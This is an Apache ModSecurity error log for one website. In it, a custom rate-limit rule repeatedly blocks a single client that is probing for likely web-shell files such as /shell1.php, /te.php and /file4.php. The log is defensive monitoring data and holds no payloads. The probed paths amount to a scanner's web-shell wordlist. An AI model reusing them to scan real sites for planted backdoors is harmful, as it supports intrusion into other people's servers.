[Sun Dec 07 22:55:26.953996 2025] [:error] [pid 9610:tid 9627] [client 4.190.185.215:42710] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/JPG.php"] [unique_id "aTWVXsZ4Zl9G0UhQ7w1TOgAAAQ8"]
[Sun Dec 07 22:55:28.123815 2025] [:error] [pid 9610:tid 9635] [client 4.190.185.215:35390] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/JPG.php"] [unique_id "aTWVYMZ4Zl9G0UhQ7w1TPAAAARc"]
[Sun Dec 07 22:55:29.248090 2025] [:error] [pid 9610:tid 9633] [client 4.190.185.215:34011] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/JPG.php"] [unique_id "aTWVYcZ4Zl9G0UhQ7w1TPQAAARU"]
[Sun Dec 07 22:55:30.108236 2025] [:error] [pid 5224:tid 5303] [client 4.190.185.215:40143] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/te.php"] [unique_id "aTWVYvAAkbWt7RJBoF_9MAAAANY"]
[Sun Dec 07 22:55:30.936289 2025] [:error] [pid 5312:tid 5328] [client 4.190.185.215:6071] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/te.php"] [unique_id "aTWVYuaM49rasZGg_o4ViwAAAA4"]
[Sun Dec 07 22:55:32.684976 2025] [:error] [pid 5224:tid 5294] [client 4.190.185.215:24018] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/te.php"] [unique_id "aTWVZPAAkbWt7RJBoF_9MgAAAM0"]
[Sun Dec 07 22:55:33.594609 2025] [:error] [pid 5223:tid 5271] [client 4.190.185.215:6051] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/te.php"] [unique_id "aTWVZfoRJa-T0FB0DNr--gAAAJE"]
[Sun Dec 07 22:55:34.783683 2025] [:error] [pid 5224:tid 5299] [client 4.190.185.215:23968] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/poj.php"] [unique_id "aTWVZvAAkbWt7RJBoF_9NQAAANI"]
[Sun Dec 07 22:55:36.157085 2025] [:error] [pid 5223:tid 5278] [client 4.190.185.215:23969] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/poj.php"] [unique_id "aTWVaPoRJa-T0FB0DNr-_gAAAJg"]
[Sun Dec 07 22:55:37.268578 2025] [:error] [pid 5224:tid 5289] [client 4.190.185.215:46105] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/poj.php"] [unique_id "aTWVafAAkbWt7RJBoF_9NgAAAMg"]
[Sun Dec 07 22:55:38.295133 2025] [:error] [pid 5222:tid 5248] [client 4.190.185.215:44305] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/poj.php"] [unique_id "aTWVat8FU0HgkYWmt7tTnQAAAFY"]
[Sun Dec 07 22:55:39.115740 2025] [:error] [pid 5222:tid 5247] [client 4.190.185.215:44294] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gi.php"] [unique_id "aTWVa98FU0HgkYWmt7tTnwAAAFU"]
[Sun Dec 07 22:56:55.837874 2025] [:error] [pid 9961:tid 9984] [client 4.190.185.215:44414] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hum.php"] [unique_id "aTWVt2Qdnfbgcnzr89KBrgAAAVU"]
[Sun Dec 07 22:56:56.764420 2025] [:error] [pid 9610:tid 9631] [client 4.190.185.215:30443] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hum.php"] [unique_id "aTWVuMZ4Zl9G0UhQ7w1TiAAAARM"]
[Sun Dec 07 22:56:57.962854 2025] [:error] [pid 5223:tid 5271] [client 4.190.185.215:23340] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hum.php"] [unique_id "aTWVufoRJa-T0FB0DNr_JwAAAJE"]
[Sun Dec 07 22:56:58.735976 2025] [:error] [pid 9610:tid 9619] [client 4.190.185.215:44665] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hum.php"] [unique_id "aTWVusZ4Zl9G0UhQ7w1TigAAAQc"]
[Sun Dec 07 22:56:59.698715 2025] [:error] [pid 5312:tid 5330] [client 4.190.185.215:44930] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zuk.php"] [unique_id "aTWVu-aM49rasZGg_o4VwQAAABA"]
[Sun Dec 07 22:57:00.579546 2025] [:error] [pid 5223:tid 5255] [client 4.190.185.215:38306] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zuk.php"] [unique_id "aTWVvPoRJa-T0FB0DNr_KQAAAIE"]
[Sun Dec 07 22:57:01.730695 2025] [:error] [pid 5223:tid 5264] [client 4.190.185.215:44623] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zuk.php"] [unique_id "aTWVvfoRJa-T0FB0DNr_LAAAAIo"]
[Sun Dec 07 22:57:02.294891 2025] [:error] [pid 5223:tid 5278] [client 4.190.185.215:23299] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zuk.php"] [unique_id "aTWVvvoRJa-T0FB0DNr_LQAAAJg"]
[Sun Dec 07 22:57:03.221744 2025] [:error] [pid 5222:tid 5245] [client 4.190.185.215:5207] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ed35f.php"] [unique_id "aTWVv98FU0HgkYWmt7tTuAAAAFM"]
[Sun Dec 07 22:57:04.153911 2025] [:error] [pid 5222:tid 5230] [client 4.190.185.215:5227] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ed35f.php"] [unique_id "aTWVwN8FU0HgkYWmt7tTuQAAAEQ"]
[Sun Dec 07 22:57:05.763209 2025] [:error] [pid 9961:tid 9970] [client 4.190.185.215:46228] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ed35f.php"] [unique_id "aTWVwWQdnfbgcnzr89KBsgAAAUc"]
[Sun Dec 07 22:57:06.543387 2025] [:error] [pid 9961:tid 9976] [client 4.190.185.215:46224] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ed35f.php"] [unique_id "aTWVwmQdnfbgcnzr89KBswAAAU0"]
[Sun Dec 07 22:57:07.698754 2025] [:error] [pid 5223:tid 5260] [client 4.190.185.215:23311] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aTWVw_oRJa-T0FB0DNr_MwAAAIY"]
[Sun Dec 07 22:57:08.610796 2025] [:error] [pid 5224:tid 5292] [client 4.190.185.215:29689] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aTWVxPAAkbWt7RJBoF_9UwAAAMs"]
[Sun Dec 07 22:57:09.243272 2025] [:error] [pid 5224:tid 5281] [client 4.190.185.215:44653] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aTWVxfAAkbWt7RJBoF_9VAAAAMA"]
[Sun Dec 07 22:57:10.321269 2025] [:error] [pid 5312:tid 5320] [client 4.190.185.215:30421] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file32.php"] [unique_id "aTWVxuaM49rasZGg_o4VxAAAAAY"]
[Sun Dec 07 22:57:11.107906 2025] [:error] [pid 5312:tid 5321] [client 4.190.185.215:23335] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zgh.php"] [unique_id "aTWVx-aM49rasZGg_o4VxgAAAAc"]
[Sun Dec 07 22:57:11.470084 2025] [:error] [pid 5224:tid 5301] [client 4.190.185.215:44624] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zgh.php"] [unique_id "aTWVx_AAkbWt7RJBoF_9VQAAANQ"]
[Sun Dec 07 22:57:12.311975 2025] [:error] [pid 9610:tid 9628] [client 4.190.185.215:35583] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zgh.php"] [unique_id "aTWVyMZ4Zl9G0UhQ7w1TjwAAARA"]
[Sun Dec 07 22:57:13.028002 2025] [:error] [pid 9961:tid 9980] [client 4.190.185.215:54640] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zgh.php"] [unique_id "aTWVyWQdnfbgcnzr89KBtgAAAVE"]
[Sun Dec 07 22:57:13.896347 2025] [:error] [pid 5312:tid 5329] [client 4.190.185.215:29653] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aTWVyeaM49rasZGg_o4VyAAAAA8"]
[Sun Dec 07 22:57:14.580952 2025] [:error] [pid 9610:tid 9615] [client 4.190.185.215:23307] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aTWVysZ4Zl9G0UhQ7w1TlAAAAQM"]
[Sun Dec 07 22:57:15.446309 2025] [:error] [pid 5312:tid 5333] [client 4.190.185.215:44640] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aTWVy-aM49rasZGg_o4VyQAAABM"]
[Sun Dec 07 22:57:16.270927 2025] [:error] [pid 5224:tid 5282] [client 4.190.185.215:30406] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aTWVzPAAkbWt7RJBoF_9WAAAAME"]
[Sun Dec 07 22:57:17.149884 2025] [:error] [pid 5312:tid 5336] [client 4.190.185.215:45796] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aTWVzeaM49rasZGg_o4VzgAAABY"]
[Sun Dec 07 22:57:17.969251 2025] [:error] [pid 5222:tid 5237] [client 4.190.185.215:54655] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aTWVzd8FU0HgkYWmt7tTvQAAAEs"]
[Sun Dec 07 22:57:19.496393 2025] [:error] [pid 5312:tid 5326] [client 4.190.185.215:30441] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aTWVz-aM49rasZGg_o4V2AAAAAw"]
[Sun Dec 07 22:57:20.258055 2025] [:error] [pid 5312:tid 5332] [client 4.190.185.215:23326] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aTWV0OaM49rasZGg_o4V2wAAABI"]
[Sun Dec 07 22:57:20.590347 2025] [:error] [pid 9610:tid 9630] [client 4.190.185.215:30444] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aTWV0MZ4Zl9G0UhQ7w1TmgAAARI"]
[Sun Dec 07 22:57:21.858216 2025] [:error] [pid 9961:tid 9972] [client 4.190.185.215:54646] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aTWV0WQdnfbgcnzr89KBtwAAAUk"]
[Sun Dec 07 22:57:22.382777 2025] [:error] [pid 9610:tid 9626] [client 4.190.185.215:44596] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aTWV0sZ4Zl9G0UhQ7w1TmwAAAQ4"]
[Sun Dec 07 22:57:25.024930 2025] [:error] [pid 5312:tid 5338] [client 4.190.185.215:23332] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aTWV1eaM49rasZGg_o4V4AAAABg"]
[Sun Dec 07 22:57:25.494610 2025] [:error] [pid 5312:tid 5318] [client 4.190.185.215:29676] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/thoms.php"] [unique_id "aTWV1eaM49rasZGg_o4V4QAAAAQ"]
[Sun Dec 07 22:57:25.908667 2025] [:error] [pid 5312:tid 5323] [client 4.190.185.215:44990] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/thoms.php"] [unique_id "aTWV1eaM49rasZGg_o4V4gAAAAk"]
[Sun Dec 07 22:57:26.981493 2025] [:error] [pid 9961:tid 9981] [client 4.190.185.215:46074] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/thoms.php"] [unique_id "aTWV1mQdnfbgcnzr89KBuAAAAVI"]
[Sun Dec 07 22:57:27.479371 2025] [:error] [pid 5222:tid 5248] [client 4.190.185.215:35521] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/thoms.php"] [unique_id "aTWV198FU0HgkYWmt7tTvwAAAFY"]
[Sun Dec 07 22:57:28.362582 2025] [:error] [pid 5222:tid 5247] [client 4.190.185.215:44934] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file4.php"] [unique_id "aTWV2N8FU0HgkYWmt7tTwAAAAFU"]
[Sun Dec 07 22:57:28.945878 2025] [:error] [pid 9961:tid 9971] [client 4.190.185.215:44988] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file4.php"] [unique_id "aTWV2GQdnfbgcnzr89KBvQAAAUg"]
[Sun Dec 07 22:57:29.614062 2025] [:error] [pid 9961:tid 9985] [client 4.190.185.215:44619] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file4.php"] [unique_id "aTWV2WQdnfbgcnzr89KBvwAAAVY"]
[Sun Dec 07 22:57:30.657168 2025] [:error] [pid 5223:tid 5258] [client 4.190.185.215:5195] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file4.php"] [unique_id "aTWV2voRJa-T0FB0DNr_OwAAAIQ"]
[Sun Dec 07 22:57:31.381950 2025] [:error] [pid 9610:tid 9612] [client 4.190.185.215:41930] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/has.php"] [unique_id "aTWV28Z4Zl9G0UhQ7w1TsQAAAQA"]
[Sun Dec 07 22:57:32.200082 2025] [:error] [pid 9610:tid 9631] [client 4.190.185.215:46235] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/has.php"] [unique_id "aTWV3MZ4Zl9G0UhQ7w1TswAAARM"]
[Sun Dec 07 22:57:32.961805 2025] [:error] [pid 5312:tid 5333] [client 4.190.185.215:30409] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/has.php"] [unique_id "aTWV3OaM49rasZGg_o4V6AAAABM"]
[Sun Dec 07 22:57:33.803335 2025] [:error] [pid 5223:tid 5272] [client 4.190.185.215:44968] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/has.php"] [unique_id "aTWV3foRJa-T0FB0DNr_QQAAAJI"]
